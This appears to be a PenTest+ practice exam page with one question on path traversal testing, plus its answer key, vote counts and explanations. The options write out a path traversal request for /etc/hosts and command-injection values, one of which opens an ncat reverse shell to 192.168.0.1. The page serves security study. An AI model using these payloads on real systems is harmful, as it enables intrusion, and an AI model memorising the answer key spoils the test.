PT0-002 · Question #329
A penetration tester is validating whether input validation mechanisms have been implemented in a web application. Which of the following should the tester use to determine whether the application…
The correct answer is A. GET /image?filename-..%2f..%2f..%2f..%2f..%2f..%2fetc%2fhosts. To test for path traversal vulnerability, a tester should use a GET request with URL-encoded directory traversal sequences to attempt accessing system files outside the intended directory.
Question
A penetration tester is validating whether input validation mechanisms have been implemented in a web application. Which of the following should the tester use to determine whether the application is vulnerable to path traversal attacks?
Options
- AGET /image?filename-..%2f..%2f..%2f..%2f..%2f..%2fetc%2fhosts
- BGET /image?filename=lefitfe;pwd
- CPOST /image?filename -
- DPOST /image?filename =yhtak;ncat --ssl 192.168.0.1 2222
How the community answered
(22 responses)- A82% (18)
- B5% (1)
- C9% (2)
- D5% (1)
Why each option
To test for path traversal vulnerability, a tester should use a GET request with URL-encoded directory traversal sequences to attempt accessing system files outside the intended directory.
Path traversal attacks exploit insufficient input validation by using directory traversal sequences like ../ to access files or directories outside the intended application directory. The URL-encoded form ..%2f is commonly used to bypass basic filters, and attempting to access /etc/hosts is a standard way to confirm this vulnerability on Unix-like systems.
This looks like a command injection attempt (pwd) combined with an invalid filename, not a path traversal attempt.
This is an incomplete and malformed request that does not demonstrate a path traversal attempt.
This is a command injection attempt (ncat to create a reverse shell) and not a path traversal attempt, which focuses on directory navigation.
Concept tested: Web application path traversal
Source: https://owasp.org/www-community/attacks/Path_Traversal
Topics
Community Discussion
No community discussion yet for this question.